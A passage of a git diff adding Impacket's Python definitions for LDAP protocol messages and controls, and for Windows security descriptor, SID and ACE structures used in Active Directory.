+            Referral().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 3))
+        ),
+        namedtype.OptionalNamedType(
+            'serverSaslCreds',
+            univ.OctetString().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 7))
+        )
+    )
+
+
+class UnbindRequest(univ.Null):
+    tagSet = univ.Null.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatSimple, 2))
+
+
+class SubstringFilter(DefaultSequenceAndSetBaseMixin, univ.Sequence):
+    componentType = namedtype.NamedTypes(
+        namedtype.NamedType('type', AttributeDescription()),
+        namedtype.NamedType(
+            'substrings',
+            univ.SequenceOf(componentType=univ.Choice(componentType=namedtype.NamedTypes(
+                namedtype.NamedType(
+                    'initial',
+                    AssertionValue().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 0))
+                ),
+                namedtype.NamedType(
+                    'any',
+                    AssertionValue().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 1))
+                ),
+                namedtype.NamedType(
+                    'final',
+                    AssertionValue().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 2))
+                )
+            )))
+        )
+    )
+
+
+class MatchingRuleAssertion(univ.Sequence):
+    componentType = namedtype.NamedTypes(
+        namedtype.OptionalNamedType(
+            'matchingRule',
+            MatchingRuleID().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 1))
+        ),
+        namedtype.OptionalNamedType(
+            'type',
+            AttributeDescription().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 2))
+        ),
+        namedtype.NamedType(
+            'matchValue',
+            AssertionValue().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 3))
+        ),
+        namedtype.DefaultedNamedType(
+            'dnAttributes',
+            univ.Boolean().subtype(value=False, implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 4))
+        )
+    )
+
+
+class Filter(DefaultSequenceAndSetBaseMixin, univ.Choice):
+    pass
+
+
+Filter.componentType = namedtype.NamedTypes(
+    namedtype.NamedType(
+        'and',
+        univ.SetOf(componentType=Filter()).subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 0))
+    ),
+    namedtype.NamedType(
+        'or',
+        univ.SetOf(componentType=Filter()).subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 1))
+    ),
+    namedtype.NamedType(
+        'not',
+        univ.SetOf(componentType=Filter()).subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 2))
+        #Filter().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 2))
+    ),
+    namedtype.NamedType(
+        'equalityMatch',
+        AttributeValueAssertion().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 3))
+    ),
+    namedtype.NamedType(
+        'substrings',
+        SubstringFilter().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 4))
+    ),
+    namedtype.NamedType(
+        'greaterOrEqual',
+        AttributeValueAssertion().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 5))
+    ),
+    namedtype.NamedType(
+        'lessOrEqual',
+        AttributeValueAssertion().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 6))
+    ),
+    namedtype.NamedType(
+        'present',
+        AttributeDescription().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 7))
+    ),
+    namedtype.NamedType(
+        'approxMatch',
+        AttributeValueAssertion().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 8))
+    ),
+    namedtype.NamedType(
+        'extensibleMatch',
+        MatchingRuleAssertion().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 9))
+    )
+)
+
+
+class SearchRequest(DefaultSequenceAndSetBaseMixin, univ.Sequence):
+    tagSet = univ.Sequence.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 3))
+    componentType = namedtype.NamedTypes(
+        namedtype.NamedType('baseObject', LDAPDN()),
+        namedtype.NamedType('scope', Scope()),
+        namedtype.NamedType('derefAliases', DerefAliases()),
+        namedtype.NamedType(
+            'sizeLimit', univ.Integer().subtype(subtypeSpec=constraint.ValueRangeConstraint(0, maxInt))
+        ),
+        namedtype.NamedType(
+            'timeLimit', univ.Integer().subtype(subtypeSpec=constraint.ValueRangeConstraint(0, maxInt))
+        ),
+        namedtype.NamedType('typesOnly', univ.Boolean()),
+        namedtype.NamedType('filter', Filter()),
+        namedtype.NamedType('attributes', AttributeSelection())
+    )
+
+
+class SearchResultEntry(univ.Sequence):
+    tagSet = univ.Sequence.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 4))
+    componentType = namedtype.NamedTypes(
+        namedtype.NamedType('objectName', LDAPDN()),
+        namedtype.NamedType('attributes', PartialAttributeList())
+    )
+
+
+class SearchResultReference(univ.SequenceOf):
+    tagSet = univ.SequenceOf.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatSimple, 19))
+    componentType = URI()
+    subtypeSpec = constraint.ValueSizeConstraint(1, maxInt)
+
+
+class SearchResultDone(LDAPResult):
+    tagSet = LDAPResult.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 5))
+
+
+class ModifyRequest(DefaultSequenceAndSetBaseMixin, univ.Sequence):
+    tagSet = univ.Sequence.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 6))
+    componentType = namedtype.NamedTypes(
+        namedtype.NamedType('object', LDAPDN()),
+        namedtype.NamedType(
+            'changes',
+            univ.SequenceOf(componentType=univ.Sequence(componentType=namedtype.NamedTypes(
+                namedtype.NamedType('operation', Operation()),
+                namedtype.NamedType('modification', PartialAttribute())
+            )))
+        )
+    )
+
+
+class ModifyResponse(LDAPResult):
+    tagSet = LDAPResult.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 7))
+
+
+class AddRequest(DefaultSequenceAndSetBaseMixin, univ.Sequence):
+    tagSet = univ.Sequence.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 8))
+    componentType = namedtype.NamedTypes(
+        namedtype.NamedType('entry', LDAPDN()),
+        namedtype.NamedType('attributes', AttributeList())
+    )
+
+
+class AddResponse(LDAPResult):
+    tagSet = LDAPResult.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 9))
+
+
+class DelRequest(LDAPDN):
+    tagSet = LDAPDN.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatSimple, 10))
+
+
+class DelResponse(LDAPResult):
+    tagSet = LDAPResult.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 11))
+
+
+class ModifyDNRequest(univ.Sequence):
+    tagSet = univ.Sequence.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 12))
+    componentType = namedtype.NamedTypes(
+        namedtype.NamedType('entry', LDAPDN()),
+        namedtype.NamedType('newrdn', RelativeLDAPDN()),
+        namedtype.NamedType('deleteoldrdn', univ.Boolean()),
+        namedtype.OptionalNamedType(
+            'newSuperior', LDAPDN().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 0))
+        )
+    )
+
+
+class ModifyDNResponse(LDAPResult):
+    tagSet = LDAPResult.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 13))
+
+
+class CompareRequest(DefaultSequenceAndSetBaseMixin, univ.Sequence):
+    tagSet = univ.Sequence.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 14))
+    componentType = namedtype.NamedTypes(
+        namedtype.NamedType('entry', LDAPDN()),
+        namedtype.NamedType('ava', AttributeValueAssertion())
+    )
+
+
+class CompareResponse(LDAPResult):
+    tagSet = LDAPResult.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 15))
+
+
+class AbandonRequest(MessageID):
+    tagSet = MessageID.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatSimple, 16))
+
+
+class ExtendedRequest(univ.Sequence):
+    tagSet = univ.Sequence.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 23))
+    componentType = namedtype.NamedTypes(
+        namedtype.NamedType(
+            'requestName', LDAPOID().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 0))
+        ),
+        namedtype.OptionalNamedType(
+            'requestValue', univ.OctetString().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 1))
+        )
+    )
+
+
+class ExtendedResponse(univ.Sequence):
+    tagSet = univ.Sequence.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 24))
+    componentType = namedtype.NamedTypes(
+        namedtype.NamedType('resultCode', ResultCode()),
+        namedtype.NamedType('matchedDN', LDAPDN()),
+        namedtype.NamedType('diagnosticMessage', LDAPString()),
+        namedtype.OptionalNamedType(
+            'referral',
+            Referral().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 3))
+        ),
+        namedtype.OptionalNamedType(
+            'responseName',
+            LDAPOID().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 10))
+        ),
+        namedtype.OptionalNamedType(
+            'responseValue',
+            univ.OctetString().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 11))
+        )
+    )
+
+
+class IntermediateResponse(univ.Sequence):
+    tagSet = univ.Sequence.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 25))
+    componentType = namedtype.NamedTypes(
+        namedtype.OptionalNamedType(
+            'responseName',
+            LDAPOID().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 0))
+        ),
+        namedtype.OptionalNamedType(
+            'responseValue',
+            univ.OctetString().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 1))
+        )
+    )
+
+
+class Control(univ.Sequence):
+    componentType = namedtype.NamedTypes(
+        namedtype.NamedType('controlType', LDAPOID()),
+        namedtype.DefaultedNamedType('criticality', univ.Boolean().subtype(value=False)),
+        namedtype.OptionalNamedType('controlValue', univ.OctetString())
+    )
+
+    def setComponentByPosition(self, idx, value=univ.noValue,
+                               verifyConstraints=True,
+                               matchTags=True,
+                               matchConstraints=True):
+        if idx == 0:  # controlType
+            try:
+                cls = KNOWN_CONTROLS[value]
+                if self.__class__ is not cls:
+                    self.__class__ = cls
+            except KeyError:
+                pass
+        return univ.Sequence.setComponentByPosition(self, idx, value=value,
+                                                    verifyConstraints=verifyConstraints,
+                                                    matchTags=matchTags,
+                                                    matchConstraints=matchConstraints)
+
+    def encodeControlValue(self):
+        pass
+
+    def decodeControlValue(self):
+        return
+
+    def prettyPrint(self, scope=0):
+        r = univ.Sequence.prettyPrint(self, scope)
+        decodedControlValue = self.decodeControlValue()
+        if decodedControlValue is not None:
+            r = r[:r.rindex('=') + 1] + '%s\n' % decodedControlValue.prettyPrint(scope + 1)
+        return r
+
+
+class Controls(univ.SequenceOf):
+    componentType = Control()
+
+
+class SDFlagsControlValue(univ.Sequence):
+    componentType = namedtype.NamedTypes(
+        namedtype.NamedType('flags', univ.Integer().subtype(subtypeSpec=constraint.ValueRangeConstraint(0, maxInt))),
+    )
+
+class SDFlagsControl(Control):
+    def __init__(self, criticality=None, flags=0x00000007, **kwargs):
+        Control.__init__(self, **kwargs)
+        self['controlType'] = CONTROL_SDFLAGS
+        if criticality is not None:
+            self['criticality'] = criticality
+        self.flags = flags
+        self.encodeControlValue()
+
+    def encodeControlValue(self):
+        self['controlValue'] = encoder.encode(
+            SDFlagsControlValue().setComponents(self.flags))
+
+    def decodeControlValue(self):
+        decodedControlValue, _ = decoder.decode(self['controlValue'], asn1Spec=SDFlagsControlValue())
+        self._flags =  decodedControlValue[0]
+        return decodedControlValue
+
+    def getCriticality(self):
+        return self['criticality']
+
+    def setCriticality(self, value):
+        self['criticality'] = value
+
+    def getFlags(self):
+        self.decodeControlValue()
+        return self._flags
+
+    def setFlags(self, value):
+        self._flags = value
+        self.encodeControlValue()
+
+class SimplePagedResultsControlValue(univ.Sequence):
+    componentType = namedtype.NamedTypes(
+        namedtype.NamedType('size', univ.Integer().subtype(subtypeSpec=constraint.ValueRangeConstraint(0, maxInt))),
+        namedtype.NamedType('cookie', univ.OctetString()),
+    )
+
+
+class SimplePagedResultsControl(Control):
+    def __init__(self, criticality=None, size=1000, cookie='', **kwargs):
+        Control.__init__(self, **kwargs)
+        self['controlType'] = CONTROL_PAGEDRESULTS
+        if criticality is not None:
+            self['criticality'] = criticality
+        self._size = size
+        self._cookie = cookie
+        self.encodeControlValue()
+
+    def encodeControlValue(self):
+        self['controlValue'] = encoder.encode(SimplePagedResultsControlValue().setComponents(self._size, self._cookie))
+
+    def decodeControlValue(self):
+        decodedControlValue, _ = decoder.decode(self['controlValue'], asn1Spec=SimplePagedResultsControlValue())
+        self._size, self._cookie = decodedControlValue[0], decodedControlValue[1]
+        return decodedControlValue
+
+    def getCriticality(self):
+        return self['criticality']
+
+    def setCriticality(self, value):
+        self['criticality'] = value
+
+    def getSize(self):
+        self.decodeControlValue()
+        return self._size
+
+    def setSize(self, value):
+        self._size = value
+        self.encodeControlValue()
+
+    def getCookie(self):
+        self.decodeControlValue()
+        return self._cookie
+
+    def setCookie(self, value):
+        self._cookie = value
+        self.encodeControlValue()
+
+
+KNOWN_CONTROLS[CONTROL_PAGEDRESULTS] = SimplePagedResultsControl
+KNOWN_CONTROLS[CONTROL_SDFLAGS] = SDFlagsControl
+
+class LDAPMessage(DefaultSequenceAndSetBaseMixin, univ.Sequence):
+    componentType = namedtype.NamedTypes(
+        namedtype.NamedType('messageID', MessageID()),
+        namedtype.NamedType('protocolOp', univ.Choice(componentType=namedtype.NamedTypes(
+            namedtype.NamedType('bindRequest', BindRequest()),
+            namedtype.NamedType('bindResponse', BindResponse()),
+            namedtype.NamedType('unbindRequest', UnbindRequest()),
+            namedtype.NamedType('searchRequest', SearchRequest()),
+            namedtype.NamedType('searchResEntry', SearchResultEntry()),
+            namedtype.NamedType('searchResDone', SearchResultDone()),
+            namedtype.NamedType('searchResRef', SearchResultReference()),
+            namedtype.NamedType('modifyRequest', ModifyRequest()),
+            namedtype.NamedType('modifyResponse', ModifyResponse()),
+            namedtype.NamedType('addRequest', AddRequest()),
+            namedtype.NamedType('addResponse', AddResponse()),
+            namedtype.NamedType('delRequest', DelRequest()),
+            namedtype.NamedType('delResponse', DelResponse()),
+            namedtype.NamedType('modDNRequest', ModifyDNRequest()),
+            namedtype.NamedType('modDNResponse', ModifyDNResponse()),
+            namedtype.NamedType('compareRequest', CompareRequest()),
+            namedtype.NamedType('compareResponse', CompareResponse()),
+            namedtype.NamedType('abandonRequest', AbandonRequest()),
+            namedtype.NamedType('extendedReq', ExtendedRequest()),
+            namedtype.NamedType('extendedResp', ExtendedResponse()),
+            namedtype.NamedType('intermediateResponse', IntermediateResponse())
+        ))),
+        namedtype.OptionalNamedType(
+            'controls',
+            Controls().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 0))
+        ),
+        # fix AD nonconforming to RFC4511
+        namedtype.OptionalNamedType(
+            'responseName',
+            LDAPOID().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 10))
+        ),
+        namedtype.OptionalNamedType(
+            'responseValue',
+            univ.OctetString().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 11))
+        )
+    )
diff --git a/impacket/ldap/ldaptypes.py b/impacket/ldap/ldaptypes.py
new file mode 100644
index 0000000..c4e27ca
--- /dev/null
+++ b/impacket/ldap/ldaptypes.py
@@ -0,0 +1,493 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Structures and types used in LDAP
+#   Contains the Structures for the NT Security Descriptor (non-RPC format) and
+#   all ACL related structures
+#
+# Author:
+#   Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
+#
+from struct import unpack, pack
+from impacket.structure import Structure
+
+# Global constant if the library should recalculate ACE sizes in objects that are decoded/re-encoded.
+# This defaults to True, but this causes the ACLs to not match on a binary level
+# since Active Directory for some reason sometimes adds null bytes to the end of ACEs.
+# This is valid according to the spec (see 2.4.4), but since impacket encodes them more efficiently
+# this should be turned off if running unit tests.
+RECALC_ACE_SIZE = True
+
+# LDAP SID structure - based on SAMR_RPC_SID, except the SubAuthority is LE here
+class LDAP_SID_IDENTIFIER_AUTHORITY(Structure):
+    structure = (
+        ('Value','6s'),
+    )
+
+class LDAP_SID(Structure):
+    structure = (
+        ('Revision','<B'),
+        ('SubAuthorityCount','<B'),
+        ('IdentifierAuthority',':',LDAP_SID_IDENTIFIER_AUTHORITY),
+        ('SubLen','_-SubAuthority','self["SubAuthorityCount"]*4'),
+        ('SubAuthority',':'),
+    )
+
+    def formatCanonical(self):
+        ans = 'S-%d-%d' % (self['Revision'], ord(self['IdentifierAuthority']['Value'][5:6]))
+        for i in range(self['SubAuthorityCount']):
+            ans += '-%d' % ( unpack('<L',self['SubAuthority'][i*4:i*4+4])[0])
+        return ans
+
+    def fromCanonical(self, canonical):
+        items = canonical.split('-')
+        self['Revision'] = int(items[1])
+        self['IdentifierAuthority'] = LDAP_SID_IDENTIFIER_AUTHORITY()
+        self['IdentifierAuthority']['Value'] = b'\x00\x00\x00\x00\x00' + pack('B',int(items[2]))
+        self['SubAuthorityCount'] = len(items) - 3
+        self['SubAuthority'] = b''
+        for i in range(self['SubAuthorityCount']):
+            self['SubAuthority'] += pack('<L', int(items[i+3]))
+
+"""
+Self-relative security descriptor as described in 2.4.6
+https://msdn.microsoft.com/en-us/library/cc230366.aspx
+"""
+class SR_SECURITY_DESCRIPTOR(Structure):
+    structure = (
+        ('Revision','c'),
+        ('Sbz1','c'),
+        ('Control','<H'),
+        ('OffsetOwner','<L'),
+        ('OffsetGroup','<L'),
+        ('OffsetSacl','<L'),
+        ('OffsetDacl','<L'),
+        ('Sacl',':'),
+        ('Dacl',':'),
+        ('OwnerSid',':'),
+        ('GroupSid',':'),
+    )
+
+    def fromString(self, data):
+        Structure.fromString(self, data)
+        # All these fields are optional, if the offset is 0 they are empty
+        # there are also flags indicating if they are present
+        # TODO: parse those if it adds value
+        if self['OffsetOwner'] != 0:
+            self['OwnerSid'] = LDAP_SID(data=data[self['OffsetOwner']:])
+        else:
+            self['OwnerSid'] = b''
+
+        if self['OffsetGroup'] != 0:
+            self['GroupSid'] = LDAP_SID(data=data[self['OffsetGroup']:])
+        else:
+            self['GroupSid'] = b''
+
+        if self['OffsetSacl'] != 0:
+            self['Sacl'] = ACL(data=data[self['OffsetSacl']:])
+        else:
+            self['Sacl'] = b''
+
+        if self['OffsetDacl'] != 0:
+            self['Dacl'] = ACL(data=data[self['OffsetDacl']:])
+        else:
+            self['Sacl'] = b''
+
+    def getData(self):
+        headerlen = 20
+        # Reconstruct the security descriptor
+        # flags are currently not set automatically
+        # TODO: do this?
+        datalen = 0
+        if self['Sacl'] != b'':
+            self['OffsetSacl'] = headerlen + datalen
+            datalen += len(self['Sacl'].getData())
+        else:
+            self['OffsetSacl'] = 0
+
+        if self['Dacl'] != b'':
+            self['OffsetDacl'] = headerlen + datalen
+            datalen += len(self['Dacl'].getData())
+        else:
+            self['OffsetDacl'] = 0
+
+        if self['OwnerSid'] != b'':
+            self['OffsetOwner'] = headerlen + datalen
+            datalen += len(self['OwnerSid'].getData())
+        else:
+            self['OffsetOwner'] = 0
+
+        if self['GroupSid'] != b'':
+            self['OffsetGroup'] = headerlen + datalen
+            datalen += len(self['GroupSid'].getData())
+        else:
+            self['OffsetGroup'] = 0
+        return Structure.getData(self)
+
+"""
+ACE as described in 2.4.4
+https://msdn.microsoft.com/en-us/library/cc230295.aspx
+"""
+class ACE(Structure):
+    # Flag constants
+    CONTAINER_INHERIT_ACE       = 0x02
+    FAILED_ACCESS_ACE_FLAG      = 0x80
+    INHERIT_ONLY_ACE            = 0x08
+    INHERITED_ACE               = 0x10
+    NO_PROPAGATE_INHERIT_ACE    = 0x04
+    OBJECT_INHERIT_ACE          = 0x01
+    SUCCESSFUL_ACCESS_ACE_FLAG  = 0x40
+
+    structure = (
+        #
+        # ACE_HEADER as described in 2.4.4.1
+        # https://msdn.microsoft.com/en-us/library/cc230296.aspx
+        #
+        ('AceType','B'),
+        ('AceFlags','B'),
+        ('AceSize','<H'),
+        # Virtual field to calculate data length from AceSize
+        ('AceLen', '_-Ace', 'self["AceSize"]-4'),
+        #
+        # ACE body, is parsed depending on the type
+        #
+        ('Ace',':')
+    )
+
+    def fromString(self, data):
+        # This will parse the header
+        Structure.fromString(self, data)
+        # Now we parse the ACE body according to its type
+        self['TypeName'] = ACE_TYPE_MAP[self['AceType']].__name__
+        self['Ace'] = ACE_TYPE_MAP[self['AceType']](data=self['Ace'])
+
+    def getData(self):
+        if RECALC_ACE_SIZE or 'AceSize' not in self.fields:
+            self['AceSize'] = len(self['Ace'].getData())+4 # Header size (4 bytes) is included
+        if self['AceSize'] % 4 != 0:
+            # Make sure the alignment is correct
+            self['AceSize'] += self['AceSize'] % 4
+        data = Structure.getData(self)
+        # For some reason ACEs are sometimes longer than they need to be
+        # we fill this space up with null bytes to make sure the object
+        # we create is identical to the original object
+        if len(data) < self['AceSize']:
+            data += '\x00' * (self['AceSize'] - len(data))
+        return data
+
+    def hasFlag(self, flag):
+        return self['AceFlags'] & flag == flag
+
+"""
+ACCESS_MASK as described in 2.4.3
+https://msdn.microsoft.com/en-us/library/cc230294.aspx
+"""
+class ACCESS_MASK(Structure):
+    # Flag constants
+    GENERIC_READ            = 0x80000000
+    GENERIC_WRITE           = 0x40000000
+    GENERIC_EXECUTE         = 0x20000000
+    GENERIC_ALL             = 0x10000000
+    MAXIMUM_ALLOWED         = 0x02000000
+    ACCESS_SYSTEM_SECURITY  = 0x01000000
+    SYNCHRONIZE             = 0x00100000
+    WRITE_OWNER             = 0x00080000
+    WRITE_DACL              = 0x00040000
+    READ_CONTROL            = 0x00020000
+    DELETE                  = 0x00010000
+
+    structure = (
+        ('Mask', '<L'),
+    )
+
+    def hasPriv(self, priv):
+        return self['Mask'] & priv == priv
+
+    def setPriv(self, priv):
+        self['Mask'] |= priv
+
+    def removePriv(self, priv):
+        self['Mask'] ^= priv
+
+"""
+ACCESS_ALLOWED_ACE as described in 2.4.4.2
+https://msdn.microsoft.com/en-us/library/cc230286.aspx
+"""
+class ACCESS_ALLOWED_ACE(Structure):
+    ACE_TYPE = 0x00
+    structure = (
+        ('Mask', ':', ACCESS_MASK),
+        ('Sid', ':', LDAP_SID)
+    )
+
+"""
+ACCESS_ALLOWED_OBJECT_ACE as described in 2.4.4.3
+https://msdn.microsoft.com/en-us/library/cc230289.aspx
+"""
+class ACCESS_ALLOWED_OBJECT_ACE(Structure):
+    ACE_TYPE = 0x05
+
+    # Flag contstants
+    ACE_OBJECT_TYPE_PRESENT             = 0x01
+    ACE_INHERITED_OBJECT_TYPE_PRESENT   = 0x02
+
+    # ACE type specific mask constants
+    # Note that while not documented, these also seem valid
+    # for ACCESS_ALLOWED_ACE types
+    ADS_RIGHT_DS_CONTROL_ACCESS         = 0x00000100
+    ADS_RIGHT_DS_CREATE_CHILD           = 0x00000001
+    ADS_RIGHT_DS_DELETE_CHILD           = 0x00000002
+    ADS_RIGHT_DS_READ_PROP              = 0x00000010
+    ADS_RIGHT_DS_WRITE_PROP             = 0x00000020
+    ADS_RIGHT_DS_SELF                   = 0x00000008
+
+
+    structure = (
+        ('Mask', ':', ACCESS_MASK),
+        ('Flags', '<L'),
+        # Optional field
+        ('ObjectTypeLen','_-ObjectType','self.checkObjectType(self["Flags"])'),
+        ('ObjectType', ':=""'),
+        # Optional field
+        ('InheritedObjectTypeLen','_-InheritedObjectType','self.checkInheritedObjectType(self["Flags"])'),
+        ('InheritedObjectType', ':=""'),
+        ('Sid', ':', LDAP_SID)
+    )
+
+    @staticmethod
+    def checkInheritedObjectType(flags):
+        if flags & ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT:
+            return 16
+        return 0
+
+    @staticmethod
+    def checkObjectType(flags):
+        if flags & ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT:
+            return 16
+        return 0
+
+    def getData(self):
+        # Set the correct flags
+        if self['ObjectType'] != b'':
+            self['Flags'] |= self.ACE_OBJECT_TYPE_PRESENT
+        if self['InheritedObjectType'] != b'':
+            self['Flags'] |= self.ACE_INHERITED_OBJECT_TYPE_PRESENT
+        return Structure.getData(self)
+
+    def hasFlag(self, flag):
+        return self['Flags'] & flag == flag
+
+"""
+ACCESS_DENIED_ACE as described in 2.4.4.4
+https://msdn.microsoft.com/en-us/library/cc230291.aspx
+Structure is identical to ACCESS_ALLOWED_ACE
+"""
+class ACCESS_DENIED_ACE(ACCESS_ALLOWED_ACE):
+    ACE_TYPE = 0x01
+
+"""
+ACCESS_DENIED_OBJECT_ACE as described in 2.4.4.5
+https://msdn.microsoft.com/en-us/library/gg750297.aspx
+Structure is identical to ACCESS_ALLOWED_OBJECT_ACE
+"""
+class ACCESS_DENIED_OBJECT_ACE(ACCESS_ALLOWED_OBJECT_ACE):
+    ACE_TYPE = 0x06
+
+"""
+ACCESS_ALLOWED_CALLBACK_ACE as described in 2.4.4.6
+https://msdn.microsoft.com/en-us/library/cc230287.aspx
+"""
+class ACCESS_ALLOWED_CALLBACK_ACE(Structure):
+    ACE_TYPE = 0x09
+    structure = (
+        ('Mask', ':', ACCESS_MASK),
+        ('Sid', ':', LDAP_SID),
+        ('ApplicationData', ':')
+    )
+
+"""
+ACCESS_DENIED_OBJECT_ACE as described in 2.4.4.7
+https://msdn.microsoft.com/en-us/library/cc230292.aspx
+Structure is identical to ACCESS_ALLOWED_CALLBACK_ACE
+"""
+class ACCESS_DENIED_CALLBACK_ACE(ACCESS_ALLOWED_CALLBACK_ACE):
+    ACE_TYPE = 0x0A
+
+"""
+ACCESS_ALLOWED_CALLBACK_OBJECT_ACE as described in 2.4.4.8
+https://msdn.microsoft.com/en-us/library/cc230288.aspx
+"""
+class ACCESS_ALLOWED_CALLBACK_OBJECT_ACE(ACCESS_ALLOWED_OBJECT_ACE):
+    ACE_TYPE = 0x0B
+    structure = (
+        ('Mask', ':', ACCESS_MASK),
+        ('Flags', '<L'),
+        # Optional field
+        ('ObjectTypeLen','_-ObjectType','self.checkObjectType(self["Flags"])'),
+        ('ObjectType', ':=""'),
+        # Optional field
+        ('InheritedObjectTypeLen','_-InheritedObjectType','self.checkInheritedObjectType(self["Flags"])'),
+        ('InheritedObjectType', ':=""'),
+        ('Sid', ':', LDAP_SID),
+        ('ApplicationData', ':')
+    )
+
+"""
+ACCESS_DENIED_CALLBACK_OBJECT_ACE as described in 2.4.4.7
+https://msdn.microsoft.com/en-us/library/cc230292.aspx
+Structure is identical to ACCESS_ALLOWED_OBJECT_OBJECT_ACE
+"""
+class ACCESS_DENIED_CALLBACK_OBJECT_ACE(ACCESS_ALLOWED_CALLBACK_OBJECT_ACE):
+    ACE_TYPE = 0x0C
+
+"""
+SYSTEM_AUDIT_ACE as described in 2.4.4.10
+https://msdn.microsoft.com/en-us/library/cc230376.aspx
+Structure is identical to ACCESS_ALLOWED_ACE
+"""
+class SYSTEM_AUDIT_ACE(ACCESS_ALLOWED_ACE):
+    ACE_TYPE = 0x02
+
+
+"""
+SYSTEM_AUDIT_OBJECT_ACE as described in 2.4.4.11
+https://msdn.microsoft.com/en-us/library/gg750298.aspx
+Structure is identical to ACCESS_ALLOWED_CALLBACK_OBJECT_ACE
+"""
+class SYSTEM_AUDIT_OBJECT_ACE(ACCESS_ALLOWED_CALLBACK_OBJECT_ACE):
+    ACE_TYPE = 0x07
+
+
+"""
+SYSTEM_AUDIT_CALLBACK_ACE as described in 2.4.4.12
+https://msdn.microsoft.com/en-us/library/cc230377.aspx
+Structure is identical to ACCESS_ALLOWED_CALLBACK_ACE
+"""
+class SYSTEM_AUDIT_CALLBACK_ACE(ACCESS_ALLOWED_CALLBACK_ACE):
+    ACE_TYPE = 0x0D
+
+"""
+SYSTEM_AUDIT_CALLBACK_ACE as described in 2.4.4.13
+https://msdn.microsoft.com/en-us/library/cc230379.aspx
+Structure is identical to ACCESS_ALLOWED_ACE, but with custom masks and meanings.
+Lets keep it separate for now
+"""
+class SYSTEM_MANDATORY_LABEL_ACE(Structure):
+    ACE_TYPE = 0x11
+    structure = (
+        ('Mask', ':', ACCESS_MASK),
+        ('Sid', ':', LDAP_SID)
+    )
+
+"""
+SYSTEM_AUDIT_CALLBACK_ACE as described in 2.4.4.14
+https://msdn.microsoft.com/en-us/library/cc230378.aspx
+Structure is identical to ACCESS_ALLOWED_CALLBACK_OBJECT_ACE
+"""
+class SYSTEM_AUDIT_CALLBACK_OBJECT_ACE(ACCESS_ALLOWED_CALLBACK_OBJECT_ACE):
+    ACE_TYPE = 0x0F
+
+"""
+SYSTEM_RESOURCE_ATTRIBUTE_ACE as described in 2.4.4.15
